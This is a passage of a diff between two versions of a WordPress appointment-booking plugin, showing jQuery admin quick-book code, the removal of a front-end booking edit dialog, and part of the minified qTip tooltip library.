+			par.find(".app-quick-book-user-fields").hide();

+			par.find(".app_iedit_create_user").hide();

+            var data = {

+                action: "app_populate_user",

+                user_id: sel_user,

+                ajax_nonce: _app_.iedit_nonce

+            };

+            $.post(_app_.ajax_url, data, function (r) {

+                if (r && r.error) {

+                    window.alert(r.error);

+                } else if (r) {

+					par.find(".app_iedit_create_user :input").prop("checked", false);

+                    $.each(r, function (i, v) {

+                        par.find(".app_iedit_" + i + " :input").val(v);

+                    });

+                } else {

+                    window.alert(_app_.con_error);

+                }

+            }, "json");

+        },

+

+        /**

+         * Initiates Multiselect for users and extras

+         */

+        configureMS: function (id) {

+            var me = this;

+            var $this = $("#app_users_" + id);

+

+            $("#app_extras_" + id).multiselect({

+                selectedList: 3,

+                buttonWidth: "100%",

+                classes: "app_extras app-ms-small"

+            }).multiselectfilter();

+

+			if ( _app_.is.msUsers ) {

+				$this.multiselect({

+					openEffect: null,

+					closeEffect: null,

+					menuHeight: 300,

+					selectedList: 1,

+					buttonWidth: "100%",

+					classes: "app_users app-ms-small app_users_admin app-users-quick-book",

+					close: function () {

+						me.populateUser($this);

+					}

+				}).multiselectfilter();

+			}

+

+			$(document).trigger("app-configure-ms", id);

+        },

+

+        /**

+         * Initiate datepicker upon focus

+         */

+        datePicker: function (e) {

+            var me = this;

+            var $this = $(e.target);

+            if ($this.data("focused") !== "yes") {

+                $this.datepicker({

+                    dateFormat: _app_.js_date_format,

+                    firstDay: _app_.start_of_week,

+                    onSelect: function (dateText) {

+                        if ($this.attr("name") === "start_date") {

+                            $this.parents(".inline-edit-col")

+                            .find("input[name='end_date']")

+                            .datepicker("setDate", dateText);

+                            me.updateEdit($this);

+                        }

+                    },

+                    beforeShowDay: function (date) {

+                        var string = $.datepicker.formatDate("yy-mm-dd", date);

+                        var datelist = $this.parents(".inline-edit-col").find(".blocked-days").data("blocked");

+                        if (datelist) {

+                            return [$.inArray(string, datelist) === -1];

+                        } else {

+                            return [true];

+                        }

+                    }

+                });

+            }

+            $this.data("focused", "yes");

+        },

+

+        /**

+         * Initiates qtip

+         */

+        configQtip: function (id) {

+            var edit_row = $(".inline-edit-row");

+            edit_row.find("[title][title!='']").each(function (ignore, val) {

+                var $this = $(val);

+                var title = $this.attr("title");

+                var ttip = title ? title.replace(/●/g, "<br />").replace("/|/", "<br/>") : "";

+

+                $this.qtip({

+                    content: {

+                        text: ttip

+                    },

+                    hide: _app_.qtipHide,

+                    position: _app_.qtipPos,

+                    style: _app_.qtipYellow

+                });

+            });

+

+            var cacheCl = "app-payment-cache-" + id;

+            var cache = $("<div class='" + cacheCl + "' />");

+            var abbrPayment = $("#app-payment-ttip-" + id);

+

+            abbrPayment.qtip({

+                overwrite: true,

+                content: {

+                    text: function (ignore, api) {

+                        if (parseInt($(document).find("." + cacheCl).length) > 0) {

+                            return $(document).find("." + cacheCl).html();

+                        }

+                        api.elements.content.html(_app_.loading);

+                        return $.ajax({

+                            url: _app_.ajax_url,

+                            type: "POST",

+                            dataType: "json",

+                            data: {

+                                app_id: abbrPayment.parents(".inline-edit-row")

+                                .find("input[name='app_id']").val(),

+                                action: "app_show_payment_in_tooltip"

+                            }

+                        })

+                        .then(function (res) {

+                            var content = res.result;

+                            if (content) {

+                                cache.html(content).appendTo($(document.body)).hide();

+                            }

+                            return content;

+                        }, function (ignore, status, error) {

+                            api.set("content.text", status + ": " + error);

+                        });

+                    }

+                },

+                hide: _app_.qtipHide,

+                position: _app_.qtipPos,

+                style: _app_.qtipSmall

+            });

+        }

+    };

+    $.WPB_Quickbook.init();

 

 });

 

Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/dev: moment.min.js
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/front-scripts.js /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/front-scripts.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/front-scripts.js	2026-01-06 00:53:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/front-scripts.js	2026-03-10 03:48:28.000000000 +0000
@@ -1100,7 +1100,6 @@
 					}
 
 					if (r.amount){
-						$(".app-conf-amount").html(r.amount).show();
 						cw.find(".app-booking-info .amount").html(r.amount);
 					} else {
 						if (!_app_.is.open_method && !r.open_method) {
@@ -2867,240 +2866,6 @@
 	 };
 	 WPB_Login.init();
 
-    /**
-     * Front End Edit
-     */
-	var WPB_FEE = {
-
-		locked: false,
-
-		/**
-		 * Event listeners
-		 */
-		init: function () {
-			var me = this;
-			var appID = 0;
-
-			var temp = $(document).find(".app-template-for-edit");
-			if (temp && temp.length > 0) {
-				appID = temp.data("app_id");
-				me.openDialog(appID, false);
-			}
-
-			$(document).on("click", ".app-list-edit", function (e) {
-				e.preventDefault();
-				var $this = $(this);
-				if ($this.hasClass("app-disabled-button")) {
-					return false;
-				}
-
-				$this.addClass("app-disabled-button");
-				$this.closest("tr").css("opacity",_app_.opacity);
-				appID = $this.data("app_id");
-				me.openDialog(appID, $this);
-			});
-
-			$(document).on( "change", ".app-edit-wrapper .app_select_locations, .app-edit-wrapper .app_select_services," +
-			".app-edit-wrapper .app_select_workers, .app-edit-wrapper .app-edit-time, .app-edit-wrapper .app_select_seats", function () {
-				me.update($(this));
-			});
-
-			$(document).on("app-cancelled", function(){
-				$(".app-list-edit").closest("tr").css("opacity","1");
-				$(".app-list-edit").removeClass("app-disabled-button");
-			});
-		},
-
-		/**
-		 * Open dialog with selected app_id
-		 * @param appID integer Booking id
-		 * @param btn	object	Clicked edit button
-		 */
-		openDialog: function (appID, btn) {
-			var me = this;
-			$.infoPanel("reading");
-			var w = window.innerWidth;
-			var dwidth = 0;
-			if (w > 600) {
-				dwidth = 600;
-			} else {
-				dwidth= w - 30;
-			}
-
-			me.locked = true;
-			$(".app-edit-wrapper").remove();
-			var cap = btn ? btn.data("cap") : "read";
-			var edit_data = {
-				action: "open_edit_dialog",
-				wpb_ajax: true,
-				app_id: appID,
-				post_id: _app_.post_id,
-				author_id: parseInt(_app_.author_id),
-				edit_nonce: _app_.edit_nonce,
-				cap: cap,
-				app_lang: _app_.lang,
-				override: btn ? btn.data("override") : ""
-			};
-			var editWrap = $("<div class='app-fee-wrapper'></div>");
-
-			$.post(_app_.ajax_url, edit_data, function(r) {
-				$(document).trigger("app-edit-dialog-before-open");
-				me.locked = false;
-				if (r.error) {
-					alert(r.error);
-					if (btn) {
-						btn.closest("tr").css("opacity","1");
-					}
-				} else if (r.success) {
-					var $h = $(r.success);
-					$h.find("fieldset").css("margin","0").css("box-sizing","border-box").css("border","none");
-					$h.find("legend").remove();
-					$h.find(".ui-icon").remove();
-					if (r.show_these) {
-						$.each(r.show_these, function(ignore, value) {
-							$h.find(value).show();
-						});
-					}
-
-					me.adjust($h);
-					editWrap.html($h).dialog({
-						closeOnEscape: false,
-						dialogClass: "app-fee",
-						width: dwidth,
-						title: r.title,
-						open: function(){
-							$(".ui-dialog").find(".ui-dialog-titlebar-close").hide();
-						},
-						position: {
-							my: "center top+50",
-							at: "center top",
-							of: window
-						},
-						draggable: true,
-						modal: _app_.is.modal,
-						hide: _app_.hideEffect,
-						show: _app_.showEffect
-					});
-					editWrap.find(".blocked-days").data("blocked",r.dates);
-					me.dPicker();
-					$.styleButtons();
-					$(document).trigger("app-edit-dialog-opened", r);
-				} else {
-					alert(_app_.con_error);
-				}
-			}, "json");
-		},
-
-		adjust: function($h) {
-			$h = $h || $(document).find("div.app-edit-wrapper");
-			var w = window.innerWidth;
-			if ( w < 650 ) {
-				$h.addClass("above-input");
-			} else {
-				$h.removeClass("above-input");
-			}
-		},
-
-		dPicker: function () {
-			if (typeof $.fn.datepicker !== "function") {
-				return false;
-			}
-			var me = this;
-			$.each($(".app-date-field-entry:not([readonly]), .app-edit-date:not([readonly])"), function () {
-				var $this = $(this);
-				var datelist = [];
-				$this.datepicker({
-					dateFormat: "yy-mm-dd",
-					maxDate: $this.data("maxdate") ? $this.data("maxdate") : null,
-					firstDay:_app_.start_of_week,
-					beforeShowDay: function(date){
-						if ($this.attr("readonly")){
-							return false;
-						}
-						if ($this.hasClass("app-date-field-entry")){
-							return [true];
-						}
-						datelist = $this.parents(".app-edit-wrapper").find(".blocked-days").data("blocked");
-						var string = $.datepicker.formatDate("yy-mm-dd", date);
-						return [$.inArray(string, datelist)>-1];
-					},
-					onSelect:function(){
-						me.update();
-					}
-				});
-			});
-		},
-
-		/**
-		 * Update dialog fields when a selection has been changed
-		 */
-		update: function (elm) {
-			var me = this;
-			var $this = elm || $(".datepicker");
-			var par = $this.parents(".app-edit-wrapper");
-			var locWrap = par.find(".app-conf-loc");
-			var servicesWrap = par.find(".app-conf-service");
-			var workerWrap = par.find(".app-conf-worker");
-			var startWrap = par.find(".app-conf-start");
-			var startDdown = startWrap.find(".app-edit-date");
-			var timeDdown = startWrap.find(".app-edit-time");
-			var priceWrap = par.find(".app-conf-price");
-			var data = readForm(par);
-			var app_id = par.find(".app-edit-id").val();
-			data.app_id = app_id;
-			data.edit_nonce = _app_.edit_nonce;
-			data.app_date = startDdown.val();
-			data.app_start = timeDdown.val();
-			data.action = "update_edit";
-			$.infoPanel();
-
-			$.post(_app_.ajax_url, data, function (r) {
-				if (r.error) {
-					alert(r.error);
-				} else if (r) {
-					locWrap.html(r.locs);
-					servicesWrap.html(r.services);
-					workerWrap.html(r.workers);
-					timeDdown.html(r.times);
-					priceWrap.html(r.price);
-					par.find(".blocked-days").data("blocked",r.dates);
-					me.dPicker();
-					var dpicker_id = par.find(".datepicker").attr("id");
-					par.find("#" + dpicker_id).datepicker("refresh");
-
-					if (r.pax_options) {
-						var $el = par.find("select.app_select_seats");
-						$el.empty();
-						$.each(r.pax_options, function(key, selected) {
-							$el.append($("<option></option>").attr("value", key).text(key)
-															 .attr("selected", !!parseInt(selected) > 0));
-						});
-					}
-
-					if (r.pax_sel) {
-						var lopno = 0;
-						var fields = par.find(".app-lop-field");
-						var min = r.pax_pot ? Math.min(r.pax_pot, r.pax_sel) : r.pax_sel;
-						$.each(fields, function(){
-							lopno = $(this).data("lopno");
-							if (lopno <= min) {
-								$(this).show();
-							} else {
-								$(this).hide();
-							}
-						});
-					}
-				} else {
-					alert(_app_.con_error);
-				}
-			}, "json");
-		}
-	};
-	WPB_FEE.init();
-	$(window).on("resize", function() {
-		WPB_FEE.adjust();
-	});
-
 	/**
 	 * Resize all dialogs on the page upon window size change
 	 */
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/libs.js /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/libs.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/libs.js	2026-01-06 00:53:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/libs.js	2026-03-10 03:48:28.000000000 +0000
@@ -3,174 +3,6 @@
 !function(a,b,c){!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):jQuery&&!jQuery.fn.qtip&&a(jQuery)}(function(d){"use strict";function e(a,b,c,e){this.id=c,this.target=a,this.tooltip=F,this.elements={target:a},this._id=S+"-"+c,this.timers={img:{}},this.options=b,this.plugins={},this.cache={event:{},target:d(),disabled:E,attr:e,onTooltip:E,lastClass:""},this.rendered=this.destroyed=this.disabled=this.waiting=this.hiddenDuringWait=this.positioning=this.triggering=E}function f(a){return a===F||"object"!==d.type(a)}function g(a){return!(d.isFunction(a)||a&&a.attr||a.length||"object"===d.type(a)&&(a.jquery||a.then))}function h(a){var b,c,e,h;return f(a)?E:(f(a.metadata)&&(a.metadata={type:a.metadata}),"content"in a&&(b=a.content,f(b)||b.jquery||b.done?(c=g(b)?E:b,b=a.content={text:c}):c=b.text,"ajax"in b&&(e=b.ajax,h=e&&e.once!==E,delete b.ajax,b.text=function(a,b){var f=c||d(this).attr(b.options.content.attr)||"Loading...",g=d.ajax(d.extend({},e,{context:b})).then(e.success,F,e.error).then(function(a){return a&&h&&b.set("content.text",a),a},function(a,c,d){b.destroyed||0===a.status||b.set("content.text",c+": "+d)});return h?f:(b.set("content.text",f),g)}),"title"in b&&(d.isPlainObject(b.title)&&(b.button=b.title.button,b.title=b.title.text),g(b.title||E)&&(b.title=E))),"position"in a&&f(a.position)&&(a.position={my:a.position,at:a.position}),"show"in a&&f(a.show)&&(a.show=a.show.jquery?{target:a.show}:a.show===D?{ready:D}:{event:a.show}),"hide"in a&&f(a.hide)&&(a.hide=a.hide.jquery?{target:a.hide}:{event:a.hide}),"style"in a&&f(a.style)&&(a.style={classes:a.style}),d.each(R,function(){this.sanitize&&this.sanitize(a)}),a)}function i(a,b){for(var c,d=0,e=a,f=b.split(".");e=e[f[d++]];)d<f.length&&(c=e);return[c||a,f.pop()]}function j(a,b){var c,d,e;for(c in this.checks)if(this.checks.hasOwnProperty(c))for(d in this.checks[c])this.checks[c].hasOwnProperty(d)&&(e=new RegExp(d,"i").exec(a))&&(b.push(e),("builtin"===c||this.plugins[c])&&this.checks[c][d].apply(this.plugins[c]||this,b))}function k(a){return V.concat("").join(a?"-"+a+" ":" ")}function l(a,b){return b>0?setTimeout(d.proxy(a,this),b):void a.call(this)}function m(a){this.tooltip.hasClass(aa)||(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this.timers.show=l.call(this,function(){this.toggle(D,a)},this.options.show.delay))}function n(a){if(!this.tooltip.hasClass(aa)&&!this.destroyed){var b=d(a.relatedTarget),c=b.closest(W)[0]===this.tooltip[0],e=b[0]===this.options.show.target[0];if(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this!==b[0]&&"mouse"===this.options.position.target&&c||this.options.hide.fixed&&/mouse(out|leave|move)/.test(a.type)&&(c||e))try{a.preventDefault(),a.stopImmediatePropagation()}catch(f){}else this.timers.hide=l.call(this,function(){this.toggle(E,a)},this.options.hide.delay,this)}}function o(a){!this.tooltip.hasClass(aa)&&this.options.hide.inactive&&(clearTimeout(this.timers.inactive),this.timers.inactive=l.call(this,function(){this.hide(a)},this.options.hide.inactive))}function p(a){this.rendered&&this.tooltip[0].offsetWidth>0&&this.reposition(a)}function q(a,c,e){d(b.body).delegate(a,(c.split?c:c.join("."+S+" "))+"."+S,function(){var a=y.api[d.attr(this,U)];a&&!a.disabled&&e.apply(a,arguments)})}function r(a,c,f){var g,i,j,k,l,m=d(b.body),n=a[0]===b?m:a,o=a.metadata?a.metadata(f.metadata):F,p="html5"===f.metadata.type&&o?o[f.metadata.name]:F,q=a.data(f.metadata.name||"qtipopts");try{q="string"==typeof q?d.parseJSON(q):q}catch(r){}if(k=d.extend(D,{},y.defaults,f,"object"==typeof q?h(q):F,h(p||o)),i=k.position,k.id=c,"boolean"==typeof k.content.text){if(j=a.attr(k.content.attr),k.content.attr===E||!j)return E;k.content.text=j}if(i.container.length||(i.container=m),i.target===E&&(i.target=n),k.show.target===E&&(k.show.target=n),k.show.solo===D&&(k.show.solo=i.container.closest("body")),k.hide.target===E&&(k.hide.target=n),k.position.viewport===D&&(k.position.viewport=i.container),i.container=i.container.eq(0),i.at=new A(i.at,D),i.my=new A(i.my),a.data(S))if(k.overwrite)a.qtip("destroy",!0);else if(k.overwrite===E)return E;return a.attr(T,c),k.suppress&&(l=a.attr("title"))&&a.removeAttr("title").attr(ca,l).attr("title",""),g=new e(a,k,c,!!j),a.data(S,g),g}function s(a){return a.charAt(0).toUpperCase()+a.slice(1)}function t(a,b){var d,e,f=b.charAt(0).toUpperCase()+b.slice(1),g=(b+" "+va.join(f+" ")+f).split(" "),h=0;if(ua[b])return a.css(ua[b]);for(;d=g[h++];)if((e=a.css(d))!==c)return ua[b]=d,e}function u(a,b){return Math.ceil(parseFloat(t(a,b)))}function v(a,b){this._ns="tip",this.options=b,this.offset=b.offset,this.size=[b.width,b.height],this.qtip=a,this.init(a)}function w(a,b){this.options=b,this._ns="-modal",this.qtip=a,this.init(a)}function x(a){this._ns="ie6",this.qtip=a,this.init(a)}var y,z,A,B,C,D=!0,E=!1,F=null,G="x",H="y",I="width",J="height",K="top",L="left",M="bottom",N="right",O="center",P="flipinvert",Q="shift",R={},S="qtip",T="data-hasqtip",U="data-qtip-id",V=["ui-widget","ui-tooltip"],W="."+S,X="click dblclick mousedown mouseup mousemove mouseleave mouseenter".split(" "),Y=S+"-fixed",Z=S+"-default",$=S+"-focus",_=S+"-hover",aa=S+"-disabled",ba="_replacedByqTip",ca="oldtitle",da={ie:function(){var a,c;for(a=4,c=b.createElement("div");(c.innerHTML="<!--[if gt IE "+a+"]><i></i><![endif]-->")&&c.getElementsByTagName("i")[0];a+=1);return a>4?a:NaN}(),iOS:parseFloat((""+(/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent)||[0,""])[1]).replace("undefined","3_2").replace("_",".").replace("_",""))||E};z=e.prototype,z._when=function(a){return d.when.apply(d,a)},z.render=function(a){if(this.rendered||this.destroyed)return this;var b=this,c=this.options,e=this.cache,f=this.elements,g=c.content.text,h=c.content.title,i=c.content.button,j=c.position,k=[];return d.attr(this.target[0],"aria-describedby",this._id),e.posClass=this._createPosClass((this.position={my:j.my,at:j.at}).my),this.tooltip=f.tooltip=d("<div/>",{id:this._id,"class":[S,Z,c.style.classes,e.posClass].join(" "),width:c.style.width||"",height:c.style.height||"",tracking:"mouse"===j.target&&j.adjust.mouse,role:"alert","aria-live":"polite","aria-atomic":E,"aria-describedby":this._id+"-content","aria-hidden":D}).toggleClass(aa,this.disabled).attr(U,this.id).data(S,this).appendTo(j.container).append(f.content=d("<div />",{"class":S+"-content",id:this._id+"-content","aria-atomic":D})),this.rendered=-1,this.positioning=D,h&&(this._createTitle(),d.isFunction(h)||k.push(this._updateTitle(h,E))),i&&this._createButton(),d.isFunction(g)||k.push(this._updateContent(g,E)),this.rendered=D,this._setWidget(),d.each(R,function(a){var c;"render"===this.initialize&&(c=this(b))&&(b.plugins[a]=c)}),this._unassignEvents(),this._assignEvents(),this._when(k).then(function(){b._trigger("render"),b.positioning=E,b.hiddenDuringWait||!c.show.ready&&!a||b.toggle(D,e.event,E),b.hiddenDuringWait=E}),y.api[this.id]=this,this},z.destroy=function(a){function b(){if(!this.destroyed){this.destroyed=D;var a,b=this.target,c=b.attr(ca);this.rendered&&this.tooltip.stop(1,0).find("*").remove().end().remove(),d.each(this.plugins,function(){this.destroy&&this.destroy()});for(a in this.timers)this.timers.hasOwnProperty(a)&&clearTimeout(this.timers[a]);b.removeData(S).removeAttr(U).removeAttr(T).removeAttr("aria-describedby"),this.options.suppress&&c&&b.attr("title",c).removeAttr(ca),this._unassignEvents(),this.options=this.elements=this.cache=this.timers=this.plugins=this.mouse=F,delete y.api[this.id]}}return this.destroyed?this.target:(a===D&&"hide"!==this.triggering||!this.rendered?b.call(this):(this.tooltip.one("tooltiphidden",d.proxy(b,this)),!this.triggering&&this.hide()),this.target)},B=z.checks={builtin:{"^id$":function(a,b,c,e){var f=c===D?y.nextid:c,g=S+"-"+f;f!==E&&f.length>0&&!d("#"+g).length?(this._id=g,this.rendered&&(this.tooltip[0].id=this._id,this.elements.content[0].id=this._id+"-content",this.elements.title[0].id=this._id+"-title")):a[b]=e},"^prerender":function(a,b,c){c&&!this.rendered&&this.render(this.options.show.ready)},"^content.text$":function(a,b,c){this._updateContent(c)},"^content.attr$":function(a,b,c,d){this.options.content.text===this.target.attr(d)&&this._updateContent(this.target.attr(c))},"^content.title$":function(a,b,c){return c?(c&&!this.elements.title&&this._createTitle(),void this._updateTitle(c)):this._removeTitle()},"^content.button$":function(a,b,c){this._updateButton(c)},"^content.title.(text|button)$":function(a,b,c){this.set("content."+b,c)},"^position.(my|at)$":function(a,b,c){"string"==typeof c&&(this.position[b]=a[b]=new A(c,"at"===b))},"^position.container$":function(a,b,c){this.rendered&&this.tooltip.appendTo(c)},"^show.ready$":function(a,b,c){c&&(!this.rendered&&this.render(D)||this.toggle(D))},"^style.classes$":function(a,b,c,d){this.rendered&&this.tooltip.removeClass(d).addClass(c)},"^style.(width|height)":function(a,b,c){this.rendered&&this.tooltip.css(b,c)},"^style.widget|content.title":function(){this.rendered&&this._setWidget()},"^style.def":function(a,b,c){this.rendered&&this.tooltip.toggleClass(Z,!!c)},"^events.(render|show|move|hide|focus|blur)$":function(a,b,c){this.rendered&&this.tooltip[(d.isFunction(c)?"":"un")+"bind"]("tooltip"+b,c)},"^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)":function(){if(this.rendered){var a=this.options.position;this.tooltip.attr("tracking","mouse"===a.target&&a.adjust.mouse),this._unassignEvents(),this._assignEvents()}}}},z.get=function(a){if(this.destroyed)return this;var b=i(this.options,a.toLowerCase()),c=b[0][b[1]];return c.precedance?c.string():c};var ea=/^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i,fa=/^prerender|show\.ready/i;z.set=function(a,b){if(this.destroyed)return this;var c,e=this.rendered,f=E,g=this.options;return"string"==typeof a?(c=a,a={},a[c]=b):a=d.extend({},a),d.each(a,function(b,c){if(e&&fa.test(b))return void delete a[b];var h,j=i(g,b.toLowerCase());h=j[0][j[1]],j[0][j[1]]=c&&c.nodeType?d(c):c,f=ea.test(b)||f,a[b]=[j[0],j[1],c,h]}),h(g),this.positioning=D,d.each(a,d.proxy(j,this)),this.positioning=E,this.rendered&&this.tooltip[0].offsetWidth>0&&f&&this.reposition("mouse"===g.position.target?F:this.cache.event),this},z._update=function(a,b){var c=this,e=this.cache;return this.rendered&&a?(d.isFunction(a)&&(a=a.call(this.elements.target,e.event,this)||""),d.isFunction(a.then)?(e.waiting=D,a.then(function(a){return e.waiting=E,c._update(a,b)},F,function(a){return c._update(a,b)})):a===E||!a&&""!==a?E:(a.jquery&&a.length>0?b.empty().append(a.css({display:"block",visibility:"visible"})):b.html(a),this._waitForContent(b).then(function(a){c.rendered&&c.tooltip[0].offsetWidth>0&&c.reposition(e.event,!a.length)}))):E},z._waitForContent=function(a){var b=this.cache;return b.waiting=D,(d.fn.imagesLoaded?a.imagesLoaded():(new d.Deferred).resolve([])).done(function(){b.waiting=E}).promise()},z._updateContent=function(a,b){this._update(a,this.elements.content,b)},z._updateTitle=function(a,b){this._update(a,this.elements.title,b)===E&&this._removeTitle(E)},z._createTitle=function(){var a=this.elements,b=this._id+"-title";a.titlebar&&this._removeTitle(),a.titlebar=d("<div />",{"class":S+"-titlebar "+(this.options.style.widget?k("header"):"")}).append(a.title=d("<div />",{id:b,"class":S+"-title","aria-atomic":D})).insertBefore(a.content).delegate(".qtip-close","mousedown keydown mouseup keyup mouseout",function(a){d(this).toggleClass("ui-state-active ui-state-focus","down"===a.type.substr(-4))}).delegate(".qtip-close","mouseover mouseout",function(a){d(this).toggleClass("ui-state-hover","mouseover"===a.type)}),this.options.content.button&&this._createButton()},z._removeTitle=function(a){var b=this.elements;b.title&&(b.titlebar.remove(),b.titlebar=b.title=b.button=F,a!==E&&this.reposition())},z._createPosClass=function(a){return S+"-pos-"+(a||this.options.position.my).abbrev()},z.reposition=function(c,e){if(!this.rendered||this.positioning||this.destroyed)return this;this.positioning=D;var f,g,h,i,j=this.cache,k=this.tooltip,l=this.options.position,m=l.target,n=l.my,o=l.at,p=l.viewport,q=l.container,r=l.adjust,s=r.method.split(" "),t=k.outerWidth(E),u=k.outerHeight(E),v=0,w=0,x=k.css("position"),y={left:0,top:0},z=k[0].offsetWidth>0,A=c&&"scroll"===c.type,B=d(a),C=q[0].ownerDocument,F=this.mouse;if(d.isArray(m)&&2===m.length)o={x:L,y:K},y={left:m[0],top:m[1]};else if("mouse"===m)o={x:L,y:K},(!r.mouse||this.options.hide.distance)&&j.origin&&j.origin.pageX?c=j.origin:!c||c&&("resize"===c.type||"scroll"===c.type)?c=j.event:F&&F.pageX&&(c=F),"static"!==x&&(y=q.offset()),C.body.offsetWidth!==(a.innerWidth||C.documentElement.clientWidth)&&(g=d(b.body).offset()),y={left:c.pageX-y.left+(g&&g.left||0),top:c.pageY-y.top+(g&&g.top||0)},r.mouse&&A&&F&&(y.left-=(F.scrollX||0)-B.scrollLeft(),y.top-=(F.scrollY||0)-B.scrollTop());else{if("event"===m?c&&c.target&&"scroll"!==c.type&&"resize"!==c.type?j.target=d(c.target):c.target||(j.target=this.elements.target):"event"!==m&&(j.target=d(m.jquery?m:this.elements.target)),m=j.target,m=d(m).eq(0),0===m.length)return this;m[0]===b||m[0]===a?(v=da.iOS?a.innerWidth:m.width(),w=da.iOS?a.innerHeight:m.height(),m[0]===a&&(y={top:(p||m).scrollTop(),left:(p||m).scrollLeft()})):R.imagemap&&m.is("area")?f=R.imagemap(this,m,o,R.viewport?s:E):R.svg&&m&&m[0].ownerSVGElement?f=R.svg(this,m,o,R.viewport?s:E):(v=m.outerWidth(E),w=m.outerHeight(E),y=m.offset()),f&&(v=f.width,w=f.height,g=f.offset,y=f.position),y=this.reposition.offset(m,y,q),(da.iOS>3.1&&da.iOS<4.1||da.iOS>=4.3&&da.iOS<4.33||!da.iOS&&"fixed"===x)&&(y.left-=B.scrollLeft(),y.top-=B.scrollTop()),(!f||f&&f.adjustable!==E)&&(y.left+=o.x===N?v:o.x===O?v/2:0,y.top+=o.y===M?w:o.y===O?w/2:0)}return y.left+=r.x+(n.x===N?-t:n.x===O?-t/2:0),y.top+=r.y+(n.y===M?-u:n.y===O?-u/2:0),R.viewport?(h=y.adjusted=R.viewport(this,y,l,v,w,t,u),g&&h.left&&(y.left+=g.left),g&&h.top&&(y.top+=g.top),h.my&&(this.position.my=h.my)):y.adjusted={left:0,top:0},j.posClass!==(i=this._createPosClass(this.position.my))&&(j.posClass=i,k.removeClass(j.posClass).addClass(i)),this._trigger("move",[y,p.elem||p],c)?(delete y.adjusted,e===E||!z||isNaN(y.left)||isNaN(y.top)||"mouse"===m||!d.isFunction(l.effect)?k.css(y):d.isFunction(l.effect)&&(l.effect.call(k,this,d.extend({},y)),k.queue(function(a){d(this).css({opacity:"",height:""}),da.ie&&this.style.removeAttribute("filter"),a()})),this.positioning=E,this):this},z.reposition.offset=function(a,c,e){function f(a,b){c.left+=b*a.scrollLeft(),c.top+=b*a.scrollTop()}if(!e[0])return c;var g,h,i,j,k=d(a[0].ownerDocument),l=!!da.ie&&"CSS1Compat"!==b.compatMode,m=e[0];do"static"!==(h=d.css(m,"position"))&&("fixed"===h?(i=m.getBoundingClientRect(),f(k,-1)):(i=d(m).position(),i.left+=parseFloat(d.css(m,"borderLeftWidth"))||0,i.top+=parseFloat(d.css(m,"borderTopWidth"))||0),c.left-=i.left+(parseFloat(d.css(m,"marginLeft"))||0),c.top-=i.top+(parseFloat(d.css(m,"marginTop"))||0),g||"hidden"===(j=d.css(m,"overflow"))||"visible"===j||(g=d(m)));while(m=m.offsetParent);return g&&(g[0]!==k[0]||l)&&f(g,1),c};var ga=(A=z.reposition.Corner=function(a,b){a=(""+a).replace(/([A-Z])/," $1").replace(/middle/gi,O).toLowerCase(),this.x=(a.match(/left|right/i)||a.match(/center/)||["inherit"])[0].toLowerCase(),this.y=(a.match(/top|bottom|center/i)||["inherit"])[0].toLowerCase(),this.forceY=!!b;var c=a.charAt(0);this.precedance="t"===c||"b"===c?H:G}).prototype;ga.invert=function(a,b){this[a]=this[a]===L?N:this[a]===N?L:b||this[a]},ga.string=function(a){var b=this.x,c=this.y,d=b!==c?"center"===b||"center"!==c&&(this.precedance===H||this.forceY)?[c,b]:[b,c]:[b];return a!==!1?d.join(" "):d},ga.abbrev=function(){var a=this.string(!1);return a[0].charAt(0)+(a[1]&&a[1].charAt(0)||"")},ga.clone=function(){return new A(this.string(),this.forceY)},z.toggle=function(a,c){var e=this.cache,f=this.options,g=this.tooltip;if(c){if(/over|enter/.test(c.type)&&e.event&&/out|leave/.test(e.event.type)&&f.show.target.add(c.target).length===f.show.target.length&&g.has(c.relatedTarget).length)return this;e.event=d.event.fix(c)}if(this.waiting&&!a&&(this.hiddenDuringWait=D),!this.rendered)return a?this.render(1):this;if(this.destroyed||this.disabled)return this;var h,i,j,k=a?"show":"hide",l=this.options[k],m=this.options.position,n=this.options.content,o=this.tooltip.css("width"),p=this.tooltip.is(":visible"),q=a||1===l.target.length,r=!c||l.target.length<2||e.target[0]===c.target;return(typeof a).search("boolean|number")&&(a=!p),h=!g.is(":animated")&&p===a&&r,i=h?F:!!this._trigger(k,[90]),this.destroyed?this:(i!==E&&a&&this.focus(c),!i||h?this:(d.attr(g[0],"aria-hidden",!a),a?(this.mouse&&(e.origin=d.event.fix(this.mouse)),d.isFunction(n.text)&&this._updateContent(n.text,E),d.isFunction(n.title)&&this._updateTitle(n.title,E),!C&&"mouse"===m.target&&m.adjust.mouse&&(d(b).bind("mousemove."+S,this._storeMouse),C=D),o||g.css("width",g.outerWidth(E)),this.reposition(c,arguments[2]),o||g.css("width",""),l.solo&&("string"==typeof l.solo?d(l.solo):d(W,l.solo)).not(g).not(l.target).qtip("hide",new d.Event("tooltipsolo"))):(clearTimeout(this.timers.show),delete e.origin,C&&!d(W+'[tracking="true"]:visible',l.solo).not(g).length&&(d(b).unbind("mousemove."+S),C=E),this.blur(c)),j=d.proxy(function(){a?(da.ie&&g[0].style.removeAttribute("filter"),g.css("overflow",""),"string"==typeof 